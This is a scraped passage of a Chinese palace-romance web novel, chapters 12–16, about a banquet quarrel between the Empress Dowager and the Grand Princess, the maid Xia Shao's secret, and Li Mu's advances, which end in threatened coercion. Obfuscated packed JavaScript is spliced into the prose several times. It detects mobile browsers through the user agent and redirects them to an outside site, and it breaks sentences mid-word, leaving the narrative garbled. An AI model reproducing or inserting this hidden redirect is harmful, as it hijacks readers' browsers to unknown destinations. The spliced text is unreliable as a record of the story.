哪怕她已是忠勇侯李穆的妻,也仍被大长公主轻飘飘的一句话吓得身子止不住地发抖。 朱凝眉淡淡瞥她一眼,见她这没出息的模样,只觉得丢人。 但夏芍再怎么混账也是自己人。 夏芍做错事,她自己可以关起门来教训,却轮不到旁人当着朝中众多权贵命妇的面来折辱她,尤其今日还是她的生辰。 朱凝眉淡声道:“大长公主,你以为先帝去世,就没人能管得了你了吗?今日是忠勇侯夫人的生辰,哀家愿意给她这个体面,让她与哀家并肩而行。哀家都没说她什么,你凭什么教训她!你仗着自己脸皮厚就以为别人也跟你一样不要脸的吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451673|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当初先帝想把福康县主赐给李穆为妻,你嫌弃他是马夫出身,配不上你女儿。怎么现在见夏芍嫁得风光,日子过得舒坦,眼红得发颤?现在后悔,迟了!舒奕将军何其无辜,你给他留点颜面吧。” 打蛇要打三寸,大长公主最在乎她的宝贝女儿福康县主,偏偏福康县主又很在乎舒奕。她现在提起舒奕,果然让福康县主脸色铁青,她趁人不注,偷偷扯了扯大长公主的衣袖。 大长公主沉着脸:“我听说太后身子不适,在宫里养伤,所以才三番五次回绝我的拜帖。看来太后今日身子已大好,竟能拨冗来忠勇侯府参加宴会。只是本宫有些意外,太后向来目下无尘,怎的跟她一个婢女出身的聊起来?” 朱凝眉含笑望着她:“我跟她年纪相仿,怎么聊不到一处?她和李穆琴瑟和鸣,床事上也很合拍,哀家听她说起这些事,带劲得很!不过大长公主你就不同了,你年纪太大,身子骨又差,受不了这等刺激。我们年轻人的事,你少打听为妙!” 大长公主听她说话如此露骨,一时羞愧难当,方寸大乱。 她并不知眼前的太后是假太后,更不知夏芍与假太后情同姐妹,只以为这两个女人会为了李穆争风吃醋,彼此看不惯对方。 想不到心高气傲的朱雪梅,竟当着满厅权贵命妇的面顶撞自己,只为给李穆的妻子出头。 她在宫中对李穆献媚还不够,出了宫还要巴结李穆这婢女出身的妻子。她朱雪梅还知不知道骨气两个字怎么写,她还要不要脸了! 大长公主被气得脑袋有些懵,但她很快就反应过来。 朱雪梅故意跟李穆的妻子套近乎,就是想向旁人证明,她和李穆之间干干净净,没有任何私情。 可谁会信呢?她离开皇宫的这三个月,李穆为了找她,几乎把整个京城都翻了底朝天。 人人皆知,李穆爱她爱得发狂! 想明白这点之后,大长公主的脸上露出了一抹似是而非的笑容。 朱雪梅越想撇干净李穆,她便越要在满朝权贵命妇面前揭穿:朱雪梅不守妇道,红杏出墙,与李穆暗通款曲,辱没先帝,让先帝泉下难安! 大长公主想到羞辱太后的办法后,病容已久的脸颊兴奋得红光满面,像附身成功的恶鬼从坟墓里爬出来一般兴奋,散发着不寒而栗的气息:“你当着众多宾客的面,说这种不要脸的话,把先帝的颜面置于何处?” 那股病态而诡异地兴奋,仿佛要吞噬四周一切。 12. 第 12 章 “我哪里不要脸了?听说你养了一百多个面首,我还以为你不是那等迂腐之辈,当理解我这种寡妇是什么心情。我在先帝病榻前伺候多年,内心凄凉孤独,羡慕旁人夫妻和睦,不过跟人闲聊两句罢了。这你也要管!” 关于泼妇骂街这种事,朱凝眉手拿把掐,大长公主越怕什么,她就越要说什么。 相反,大长公主不敢明着说她和李穆的事,只敢暗戳戳地说几句似是而非的话。 但她能本事把话头抢过来,让大长公主期许落空。 朱凝眉无赖地笑了笑,懒洋洋道:“你要是觉得我对不起先帝,大可以去找先帝告状呀!” 先帝已经躺在帝陵寝里了,大长公主能找谁告状? 她说的话极其不雅,可以称得上粗鄙不堪,骂人不带脏字。 偏她生得极美,不施粉黛的脸上焕发着莹润的光泽,语调俏皮又活泼,浑然不似泼妇骂街,似乎只是俩姑嫂之间的寻常玩笑话。 大长公主从前说不过太后,如今她只觉得太后更加不按常理出牌。 她叹息道:“男子三妻四妾本是寻常,女子从一而终也是佳话。百姓人家,若有守贞之妇人,族中耆老会上奏朝廷以求嘉奖。您是太后,身份尊贵,一言一行,当为天下妇人之表率。本宫这是在关心太后,太后应理解本宫这番好意才是!” 朱凝眉噗嗤一声笑了,她用帕子捂住口,笑眼弯弯:“你要是真关心我,就站起来给我行个礼吧。你是大长公主,身份最贵,一言一行,也当为天下妇人之表率。按照宫里的规矩,你见了我,当行肃拜礼。念你年迈病弱,我就不让你磕头了,你起身朝我恭恭敬敬地行个揖礼,总是可以的吧。” 大长公主笑容顿时凝固,她并非不愿意向太后行礼,只是刚才心中有气,才故意没站起来,想等着太后来哄自己。 谁知太后忽然借机发难,责备她不懂规矩,太后这是要彻底跟她撕破脸吗?她们才是联盟,才是自己人,太后究竟在做什么! 大长公主怒道:“你——本宫是皇帝的姑母,你这样对我,难道就不怕被朝臣指责?” “从我入宫的那天起,你便一直寻我错处,找先帝告状。先帝不待见你,你就想方设法给先帝送美人,想让我被先帝冷落。如今先帝已故,我儿子当了皇帝,我当上了太后,你以为我还像从前那样好欺负吗?” “你简直不可理喻!” “别废话了,赶紧行礼吧。不然我就罚你女儿出去跪一个时辰……” 一旁的福康县主见形势不利于大长公主,赶忙站起来,跪在朱凝眉面前补上肃拜礼:“太后娘娘,我母亲身体不适,不方便行礼,还请您体谅。” “康儿,你怎么能给她下跪。你舅父去世不到三个月,她就改投别的男人怀抱,连大街上的叫花子都比她干净!” 朱凝眉本来还想算了,但大长公主嘴里不干净,她咽不下这口气,于是笑道:“是,所有人都脏,只有你最干净!我看你年纪也不算大,姿色还算不错,你不如好好收拾一番,把李穆也纳入你府里当面首?说不定他就喜欢你这样徐娘半老风韵犹存的干净女子呢?这样你就不用再惦记我干不干净了。” 夏芍倒抽了一口凉气,小声提醒她:“够了,别说了,再说下去大长公主就要被你气死了。” 谁知夏芍这话,却引来大长公主一声冷笑问:“你可还记得史书上的廉后?” 史书记载,虞朝妖后廉姬,与辅政大臣陈璋勾搭成奸,后来陈璋夺帝位,杀死廉后,终被无名侠客击毙。 后世人将那段故事,写入女则,教导女子当守贞洁,对夫婿从一而终,切莫如廉姬那般荒淫,声名狼藉。 “在我看来,你的下场,和廉姬也不会有什么两样。李穆缠着你,不过是想藉由你羞辱皇上。” 朱凝眉盯着大长公主,目光平静。 双方都已经撕破脸皮,再说下去,都很难堪。 考虑到小皇帝的名声,朱凝眉不再激怒大长公主。 大长公主以为自己赢了,她看向还跪在朱凝眉面前的福康县主,扯开嗓门道:“康儿,你还不快起来。像她这样没有廉耻的女子,不配承受你的肃拜。” 众人不敢妄议大长公主,却都同情太后,因为太后从不会仗势欺人。 而大长公主脾气暴躁,吃不得亏,她欺负不了太后,便要找个人撒气! 忽然,外面传来一声:“忠勇侯到!” 只见李穆从男宾席中走过来,穿着黑色镶金的华服,一身枭雄气魄。 夏芍快步上前,走到他面前,温柔怯懦地道:“夫君,您来得正好。这次大家都有目共睹,是大长公主不尊重太后娘娘在先,你可一定要帮太后娘娘评评这个理。” 李穆冲她点点头,让她先别急。 夏芍起身,李穆叉开腿坐在太后身旁的位置上,给人的压迫感如雪山将倾。 他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457046|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未说话,便听大长公主狡辩道:“李穆,我和太后娘娘的事,是我们陆家的家务事,你最好不要插手。” 有李穆在旁撑腰,夏芍胆子大了些:“胡说,你刚才还把太后比作祸国的廉姬,把我夫君比作奸佞陈璋!” 大长公主不慌不忙,静静笑道:“在座各位可都听到了,我只是劝太后莫要学廉姬,可没说你夫君李穆半句不是。忠勇侯夫人莫要将这顶高帽子扣在我头上。” 她的确没有提李穆,夏芍底气略显不足。 李穆拍拍她的手,让她别害怕,然后他高声道:“在座各位都知道,我曾是朱家的马奴。恰逢昔日北疆战乱频频,军中缺乏良才,朝廷颁发诏令,不拘一格选拔人才,召集善战之辈戍卫边疆。主家见我身手利落,是个入伍从军的好苗子,便给我放身契,撤了我的奴籍,赠我银两,让我上北疆战场立功,才有我李穆的今日。” 听到李穆承认自己的马奴身份,大长公主已知情势不妙。 李穆又接着道:“如今我李穆虽已不是朱家奴,却非忘本之人。不懂知恩图报,便是畜生也不如。太后娘娘于我李穆有大恩,大长公主今日把太后比作廉姬,把我李穆比作陈璋,难道不是在羞辱我李穆吗?” 朱凝眉听了,神色淡淡。 果然,恶人还需恶人磨,对付大长公主这种人,李穆最合适不过。 李穆三两句话便扭转乾坤,而大长公主也因惧怕李穆,不敢再多说什么。 她当即笑着改口:“忠勇侯言重了,刚才我和太后娘娘只是在说笑罢了。” 李穆点点头,笑道:“看来这是一场误会,这很好。如果大长公主惹得太后不高兴,我也会很不高兴,说不定还会迁怒于舒奕。” 这么容易就和好了吗? 朱凝眉看看李穆,又转头看看大长公主,遗憾于他没吵得天翻地覆,把场面热闹起来。 于是她不嫌事大地噘起嘴说:“李穆,她惹我不高兴,你就这样放过她?我不答应。还有,舒奕是无辜的,你不能迁怒他!” 听到太后不高兴,李穆脸上也没了笑容。 大长公主看着李穆的表情逐渐变得严肃,也跟着紧张严肃起来。 大厅里没有人说话,呼吸声也没有,针落可闻。 “太后想怎么惩罚大长公主?” “不如把她那一百多个面首都处决了?” “微臣领命。”李穆扬声道:“来人——” 13. 第 13 章 看见大长公主嘴唇颤抖,眼神恐惧,朱凝眉笑着改口:“大长公主,你别害怕,我不过是同你开个玩笑罢了。” 李穆先是诧异,然后微微俯身,抱拳道:“都怪微臣太过愚钝,没有听懂太后娘娘的玩笑,差点误伤了大长公主的面首。” 朱凝眉差点乐出声,李穆说话可真气人! 可她高兴着高兴着,又开始生他的气,想到自己常被他气得五内俱焚,满脑子只想着该如何弄死他。 “太后娘娘说得对,舒奕是我的左膀右臂,我不能杀他。但微臣建议大长公主早日遣散府中面首,以免太后娘娘哪日真的生气,下令让舒奕亲自带人去公主府处决那些面首——想想都让人尴尬!”李穆一脸平静地说出残忍的威胁。 “李穆,你欺人太甚!真该让所有百姓都看到你副乱臣贼子的嘴脸,这样他们就不会再崇拜你,还在庙里给你塑金身——” 朱凝眉都不明白,大长公主究竟是在骂李穆呢,还是在夸他! 似乎大长公主也意识到这些话说出来,是给李穆脸上贴金,她越想越觉得生气,话还没说完,便动作流畅、姿态优雅地晕倒在地。 难怪她这么喜欢跟人讲规矩,她晕倒在地的动作和姿态都那么优雅端庄,挑剔不出半点毛病。 一旁跪着的福康县主立即起身来到大长公主身旁,哭叫几声母亲后,声泪俱下地磕起头:“太后娘娘,您一贯宽容心善,求您看在陛下的份上,饶恕我母亲。自从舅父去世,她悲痛成疾,脑子时常糊涂,才会以下犯上!” 朱凝眉从不觉得她姐姐是个坏人,但她姐姐的性子与“宽容心善”实在相去甚远。 冷不丁被福康县主戴了顶高帽子,朱凝眉若不宽容点,好像也说不过去。 “我就算再宽容心善,也不是个没有脾气的木头人。你亲眼所见,大长公主先是为难忠勇侯夫人,随后又将我比作祸国的廉姬。换做是你如我这般被你母亲羞辱,你还能有好脾气?” 福康县主不语,只是流泪磕头。 “罢了,先把你母亲带走,等她身子好点,我再找她算账。”朱凝眉终于松口,长公主毕竟是小皇帝的亲姑姑,她不能把事情闹得太僵。 福康县主表面答应,眼里却深藏怨念和愤恨。 朱凝眉没心思琢磨她心里怎么想了,因为她这会儿满脑子都是李穆之前对大长公主说的话。 李穆爱着姐姐,心里便只想着姐姐,其他人对他再好他都装作看不见也听不见。 李穆说太后曾对他有大恩,那他怎么不记得朱家二小姐对他的大恩? 当初,是她带着夏芍透溜出家门去看元宵灯会,在城门口看到朝廷招兵买马的告示! 她想到李穆武功高强、身手利落,在朱家当一辈子马奴太可惜。于是她去找兄长软磨硬泡,终于把兄长烦得头疼,才去找父亲要来李穆的卖身契,还让兵部的好友给李穆写一封举荐信。 李穆离开朱家,去北疆参军,她担心李穆身上没有钱,会被同僚排挤。于是她把自己每年过生辰攒下来的首饰换成一小盒银子,让姐姐院子里的丫鬟转交给李穆,叮嘱他一定要好好活着,上北疆挣个功名再回来。 他不记得朱家二小姐的恩,反而怪她和离是因为嫌弃他的出身。 若不是她惜才,他现在还在朱家当马奴呢,就连夏芍这种贴身伺候小姐的一等丫鬟,都会瞧不上他! 她神游了一阵,无意间目光瞥向李穆,才发现他正在盯着自己。 他的目光里充满了野蛮的侵略,和一种势在必得的笃定。 跟这样一双眼睛对视久了,恍惚就会感觉自己是被苍鹰盯上的猎物,不知哪一刻会被它叼走,飞向万米高空,生死茫茫,前途未卜。 幽深的眼眸忽然温柔似水起来,他转头看向夏芍,语气亲昵地责备夏芍:“太后都来了这么久,怎么连杯茶都没有?真是越来越不懂规矩。” 若非此时厅内坐满诸多权贵女眷,朱凝眉一定会忍不住骂脏话。 太恶心了,杀他一百次都不够! 他把心仪的女子带来他为妻子举办的生辰宴,然后当着心仪女子的面,柔风细雨地跟妻子打情骂俏。 他想看两个女子为他争风吃醋? 肤浅! 活该朱雪梅瞧不上他。 此刻,她心里没有“他为什么对朱雪梅偏爱”的不甘,只剩下“还好早就与他和离”的解脱。 夏芍这死丫头偏不争气,这么容易就被李穆哄得面红耳赤。 现在是她应该娇羞的时候吗?她难道不该委屈? 她可是忠勇侯夫人,今日还是她生辰,李穆有脸把别的女子带到她面前,还骂她不懂规矩,她不该随手端起一盘瓜子蜜饯,狠狠砸他脸上? 是不是夏芍昨晚被李穆折腾傻了? 她居然配合李穆一脸愧疚地说:“多亏夫君提醒,是我不懂规矩,差点怠慢了太后娘娘。来人,快给太后娘娘上茶。” 朱凝眉太生气了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱凝眉冷冷道:“多谢忠勇侯夫人好意。我怕走得太慢,有人以为我要抢她丈夫。” 夏芍静静看着她,眼眶红了,眼泪慢慢流了出来。 “哭什么哭?李穆骂你的时候,你不知道哭给他看。现在没人了,倒在我面前矫情了起来。有本事就哭得李穆心软,哭得他从此放不下你。你跟我哭作什么?” 14. 第 14 章 朱凝眉身后不远处,还站着宫里跟来的女官。 但夏芍已经顾不上了,她只能尽量压低着声音,哭着说:“小姐,就连你也讨厌我了,是不是?” “有李穆喜欢你就行,你已经选了李穆,我对你来说有这么重要吗?”朱凝眉闷声闷气的道。 这地方人来人往,不方便说体己话。 朱凝眉看向安宁宫的掌事姑姑悦容,悦容点点头,心领神会地带着人守住院子的各个角落,以防外人闯入。 夏芍已经哭得一抽一抽的,却还是在努力压低声音:“总之,你就是讨厌我了,我知道。我也很讨厌现在的自己!” “这五年来,我没有一日不想你,我总是怪你忽然消失,让我没处去找你。” “可我那日看见你后,却开始做噩梦。梦里的我,还是朱家的丫鬟,是任人打骂的贱骨头。梦醒后,我看着自己身上的锦衣华服,只觉得它们都是我从你那里偷来的。” “我没有想过要做对不起你的事,也不想与你生分,我只是害怕再过苦日子。” “在我心里,你永远都是那个冬日里花钱给我买冻疮膏,元宵节带我溜出门买兔子花灯和桂花糖的小姐。” “我常去天桥下的馄饨摊子,就是你最爱去的那个馄饨摊,可是你走后,那里的馄饨忽然多了丝腥臭,它变得很难吃。” “我看着镜子里的自己觉得陌生,也很讨厌我说话时装腔作势的语调,可我就是很享受这种前拥后簇的滋味,我喜欢别人看我就畏惧的样子,我喜欢他们讨厌我却不得不讨好我的模样。” 夏芍颠三倒四地说出这些话,哭得妆都花了,肩膀也在微微颤抖。 看着这张熟悉的脸,朱凝眉也想起来,从前崔姨娘管家时,克扣她们的炭火份例。月底没有炭火时,她晚上冻得瑟瑟发抖睡不着,夏芍只好拿着首饰去找园子里的妈妈们,从她们那里换来热水灌汤婆子给她暖手。 那时她们俩盖一床被子,抱在一起睡,不分彼此。 朱凝眉终究无法狠心待她,却也不想轻易原谅:“在你心里,我重要还是李穆重要!” “都重要!” “你连骗我都不肯!蠢死,我不跟蠢人说话。”朱凝眉说完就要走。 夏芍眼疾手快,抓住她的手:“当然是你重要,你当然比李穆重要!快跟我去偏厅换衣服吧,湿衣服穿在身上不难受吗?” 到偏厅,夏芍从司衣女史手中接过太后的替换衣裳,亲自为朱凝眉更衣改妆。 她原来就是朱凝眉的丫鬟,做起这些事情,趁手得很,甚至从心里隐隐冒出来一种久违的踏实感。 她们情同姐妹,捅对方心窝子时,一捅一个准。 向对方示好时,也深知其中要领。 夏芍知道她最讨厌沉甸甸的发髻,给她换成轻便的发髻,又配合着玉茗色襦裙,为她改淡妆。 因为宫里的司妆女官给朱凝眉涂了层厚厚的粉,又在额头贴上粉色花钿,这才勉强盖住额头上的伤。 夏芍给她卸妆后,额头上疤痕才露出来,突兀的红印长在瓷白的肌肤上,刺眼得让人揪心。 “这是怎么弄的?”夏芍眼睛一红,又要哭,仿佛她还是从前那个跟在朱凝眉身后的傻丫头。 这回轮到朱凝眉捅她心窝子。 “李穆为了逼我进宫,把小皇帝关了起来,所有人都怕他一生气就狠心把小皇帝给害死,催我早点进宫去安抚李穆。” “进宫那日,司礼监的梅景行为了讨好李穆,在我寝殿里点了催情香。李穆中了香,有些不对劲,我怕他霸王硬上弓,灵机一动,就跪在地上给他磕头,不小心把头给磕肿。我扫了他的兴,没让他如意,他更加不肯放小皇帝出来。” “我这人你还不知道,这世上比我机灵的人还没几个。李穆不放人,我就自己想办法。然后我带着十几个太监硬闯宣德殿,从金吾卫手里抢人——你猜怎么着?” 夏芍担忧地问:“你额头上的伤,是被金吾卫伤的?” 朱凝眉绘声绘色地道:“没有!金吾卫首领罗克己你知道吧,他的头被我砍了下来。而我呢,只是把头磕破了而已,没流多少血,杀只鸡的血都比这个多!” 一个敢说,一个敢信! 夏芍丝毫没怀疑她是否有能力把罗克己的头砍下来,她还沉浸在朱凝眉额头受伤的悲伤情绪里,忽然听到她的破比喻,又觉得有些好笑。 转念一想,五年不见,小姐居然知道杀鸡要流多少血,又开始哭了。 这五年来,她鸠占鹊巢地享受着属于小姐的锦衣玉食,而小姐却沦落到身旁没人伺候,杀鸡都要自己动手的地步。 “哭什么?觉得我可怜了?你要是真可怜我,就把李穆还给我吧。” 夏芍原本还在伤心地哭,忽然听到这句就愣住了,呆呆地看着朱凝眉,不知如何是好。 朱凝眉转过身,狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468914|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往她脸上一掐:“没良心的死丫头,你果然是骗我的。在你心里,李穆居然比我重要!你跟我睡了近二十年,你跟他才睡了几年?” 夏芍心里很苦,她不知道该怎么跟朱凝眉解释。 她的儿子,不是李穆的种,是她在外面偷人生的,栽赃给了李穆。 朱凝眉和李穆新婚那夜,夏芍和小厨房的妈妈都是一夜未睡,她都记不清里面究竟传了多少次水,总之这俩人折腾到天亮才睡,他们这些做下人的也一样。 后来小姐回了朱家,李穆追了过去,回来的时候他整个人就变了,每日喝得醉醺醺地。 朱凝眉走后,夏芍留下来地位尴尬,没人知道怎么安排她,而她也不愿再回朱家当奴婢。常言道,富贵险中求,夏芍一狠心,就脱了自己的衣服躺在喝得醉醺醺的李穆身旁—— 李穆醒来后没搭理她,不过睡了个丫鬟,没把这当回事。夏芍不死心,她在门房的仆人里找了高大清爽的,深更半夜钻入他的房间,不到一个月,她就怀孕了。 然后她告诉李穆,自己怀孕了,孩子是他的。 李穆非但没有怀疑,还把她扶为正妻,从此她成了忠勇侯李穆的妻子。 门房里那个男仆,被她远远打发走了。夏芍威胁门房,若不走得远远的,就找人杀了他灭口。那男仆被她吓得屁滚尿流,拿着银子便走了。 这种秘密,夏芍谁也不能说,就算是朱凝眉也不行,这秘密只能烂在她肚子里。 这要是被李穆知道真相,她和儿子,都会被李穆宰了吧。 夏芍道:“我对你是真心的,对李穆却没有任何感情,我只是贪图他的钱财和地位。看见你额头上的伤,我只恨自己没有跟在你身旁保护你,替你受伤。如果换成李穆,他就是死在我面前,我也不会落一滴泪。” “打住!”朱凝眉冷声道:“我不想听你说李穆的事。” 夏芍偏要说:“李穆没有主动睡过我,我就跟他睡了一次,是他喝醉了酒,乘虚而入。我都这样说了,你还嫌不嫌他脏?你要我把李穆还给你,也不是不行,但我儿子已经被立为忠勇侯世子,如果你肯答应我,要像善待我一样善待他,我就把李穆还给你。” 朱凝眉不说话,心里憋着气。 夏芍蹲坐在地,像小时候一样,侧脸趴在她膝上,说:“李穆从未放下你。有回他去同僚家里喝满月酒,喝醉后,回来就哭着叫眉眉,断断续续叫了一个晚上。” 15. 第 15 章 朱凝眉不信,皱眉道:“你听错了吧!” 夏芍信誓旦旦:“我不可能听错,他称呼大小姐为雪梅,唤你为眉眉。” 就算李穆喝醉酒,叫她一整夜,那又怎样? 她难道要因此对李穆感恩戴德?感谢他在对朱雪梅爱而不得的同时,也没有忘记过自己? 养只狗,也会有感情的,何况是人呢? 刚和离时,他或许想过她,但那又怎样? 如今的李穆再提起她,只说她是朱家二小姐,甚至提都不愿多提! 他还故意在“太后”面前装可怜,摆出一副被朱家二小姐抛弃了似的嘴脸,试图“太后”这里得到怜惜! 呸。 装模作样的狗东西,她才不会上当。 外面忽然有人敲门,说世子爷哭了,正在找夫人。侯爷看见世子爷哭了,很生气,正要惩罚世子爷。 夏芍听到儿子受苦,心里七上八下,她立即对朱凝眉道:“小姐,你先别走。今日是我的生辰,你再陪我一会儿吧。” “那两父子见面就跟仇人似的,谁也不肯让谁!我现在要去把儿子从李穆手里救出来,把他哄睡了再回来找你。小厨房里有你爱吃的酸辣毛肚和卤鹅掌,我再让他们温壶桂花酒,你一定要陪我喝几杯再走!不然我以后都不理你了。” 朱凝眉不怎么馋酒,只是回了宫也只能坐在海棠树下看着夕阳发呆,还不如留下来跟夏芍一起喝酒。 聊得不对付,两人吵吵架,也挺过瘾的。 虽然夏芍跟她玩心眼子,让她膈应,可除了夏芍,她身边再也没有能说掏心窝子话的人了。 在等夏芍的时候,朱凝眉有些无聊,便在偏厅里到处转,这里看看,那里摸摸。 偏厅里放了个书架,里面放了一些书,有游记杂志,也有些戏曲诗集。 更让人恶心的是,书架上居然还放了些文人墨客为了吹捧李穆,为他撰写的传记,还不止一本! 这也太没品了吧,谁会把夸自己的文章撰写成书,摆在自己家里供客人赏阅?恐怕只有李穆这种马夫出身的佞臣,才敢如此嚣张跋扈。 也不怕别人笑话。 不过他脸皮厚,的确不怕被人笑话。 朱凝眉不愿放过任何嘲笑李穆的机会,她随手翻开一本传记,看那些文人墨客是怎么吹捧他的。 认真看下去,倒也不是算过分地吹捧他,至少措辞并未夸张得让人反感。 她手里拿的这本书,与其说是传奇,不如说是记录下李穆在北疆立下了哪些战功。他初到北疆之后,易名为贩马商人,潜入北疆,被北疆人抓走,沦为马奴—— 朱凝眉笑了笑:“马奴,这倒是他的老本行了。” 李穆成为马奴后的两年,借着放牧养马的机会,勘察北疆地形,将其绘制成舆图,传回大齐。然后,他与大齐的士兵们里应外合,将被北疆掠夺的领土夺了回来,还抢回了许多被掳去当奴隶的大齐百姓。 朱凝眉一本一本地翻阅,并未细看。 一本接着一本的书,不但记载着李穆参军后立下的种种功劳,还写了他好几次死里逃生。 对照着这些书,朱凝眉脑海里都会浮现出李穆身上的那些伤疤,腰上的那道疤最重,那次大家都以为他死了,可他却撑着一口气抗住了,直到援军到来! 她看了半个时辰,却看不完这些书。 李穆立下的战功太多了,虽然书上只是寥寥几笔,可每次他立功,都代表他救下很多人的性命。这些被他救过的人,害怕世人忘记他的功劳,自愿为他写书立传记录这些事。 她忽然意识到,李穆被封忠勇侯,被先帝托孤,不是因为先帝糊涂,而是因为他值得被人敬重。 如果这些书上写的都是真的,没有夸大其词,那么李穆其实并非狼子野心的佞臣,他是值得被人信任的英雄。她还有一个更大胆的想法,也许先帝宁愿将皇位让贤,也不愿江山落在其他藩王之手,让大齐百姓再次经历领土被掠、百姓被俘的惨剧。 不,她简直在异想天开。 她会这么想,是因为她看见过李穆身上的伤疤。先帝又没有看见过他身上的伤,怎么会跟她想得一样? 朱凝眉心情很复杂,她不愿意承认那狗东西其实是位了不起的英雄。也许那上面的故事都是虚构的,文人墨客最擅长狡言是非,三分真掺七分假,就能写得让人流泪。 对,这一定是假的! 他就是个狗东西,乱臣贼子。 他为了找到朱雪梅,都能用小皇帝的性命威胁朝堂重臣,他能是什么英雄?说他是狗熊都委屈了狗熊。 朱凝眉低头看书太久了,脖子有些酸,于是她走到窗边,扭扭脖子伸伸腿,活动活动筋骨。 忽然伸出一只手,搂着她的腰,把她扯到了怀里。 她的鼻梁撞到了硬得像铁一样的胸,熟悉的狗熊味直冲她的脑门。 她疼得脑袋嗡嗡的,半天都睁不开眼睛,却又察觉他弯腰将脸埋在她的脖颈间,在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472317|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳后的发间深深吸气。 温热的呼吸,灌进她耳后的脖子里,烫得她发抖。 那不要脸的大狗熊又搂着她的腰,用肉麻得腻死人的声音说:“芍儿乖,让夫君抱抱。” 要不是夏芍已经告诉她,她后来跟李穆没有睡过,朱凝眉还真会被这狗东西恶心得立刻就吐出来。 狗东西,有点脏心眼子全用在她身上! “我不是夏芍。” 说完,那狗东西明显呼吸一窒,却没有放开她,反而更坦然地把头深埋在她脖间,蹭得她火冒三丈。 朱凝眉不想被他碰,用力把他推开。 可李穆拽着她的衣裳不放,力气又大,而她又挣扎得太狠,衣服不知怎么地,就被他扯烂。 刚换的夏衫,一半襦裙在李穆手里,一半襦裙在她身上。没有襦裙遮盖的地方,是半隐半露的白色里衬,肚兜的颜色都能看见。 夏日炎热,衣裳也薄,宫中女眷的里衬都是这种半透明的棉纱织成。 也就比没穿衣服好那么一丁点,凉意直抵心间。 偏偏始作俑者揪着半片襦裙,露出坏笑:“原来是太后在这里,微臣眼拙,抱错了人。” 谁信他鬼话,分明就是故意的。 他双眼一眨不眨地盯着她的领口,分明是情动的模样。她想起书上写的那些英雄事迹,再看看眼前这只狗熊。 再一次感慨,文人的笔如杀人刀,巧言令色,让人昏聩。 她抬起下巴,疾声厉色地命令道:“狗东西,滚出去!” 李穆对她坏笑道:“刚才你在宴席上,还说自己孤独凄凉,最喜欢听旁人夫妻琴瑟和鸣的那点事。你听旁人说有什么意思,不如我身体力行地让你体会体会?” 罢了,善恶到头终有报,不是不报,时候未到。 先前她在大长公主面前耍流氓,让大长公主羞愧难当。 现在终于轮到李穆在她面前耍流氓,恶心得她吃不下饭。 “也不撒泡马尿照照你自己,你配吗?哀家就算要找面首,也该找像梅景行那样年轻的、面相好的;找舒奕那样温柔的、话少的。你年纪又大,还一身的马骚味,我多看你一眼都嫌脏。” 李穆被她几句话气得手发抖,一字一顿地道:“即便是微臣脏了太后的眼,太后也只能忍忍。往后余生,你要么继续当孤独凄凉的寡妇,要么就只能认栽找我这种浑身马骚味的人!但凡其他男人敢碰你一根手指头,我都要他五马分尸,死无葬身之地。” 16. 第 16 章 “你心里那点肮脏念头,终于憋不住了!” 喜欢一个人,肮脏吗? 李穆又一次被她气得肺都炸了,体内像有团火焰在燃烧。 昔日在战场上,李穆从无败绩,却屡次在她面前受到挫败。 “我喜欢你,想要你,从始至终都没有变过!我是怕唐突你,才一直隐忍。可我今日才明白,无论我好言好语哄着你,还是霸王硬上弓强迫你,你都同样厌恶我。既如此,那我何必再隐忍,不如先让自己爽利一番!” 他咬紧牙关,眼神陡然转冷,一步步朝她迫近,逼她退至窗边,背贴着窗户,再无退路。 他这样,让朱凝眉怕极了。 “你这个禽兽!” 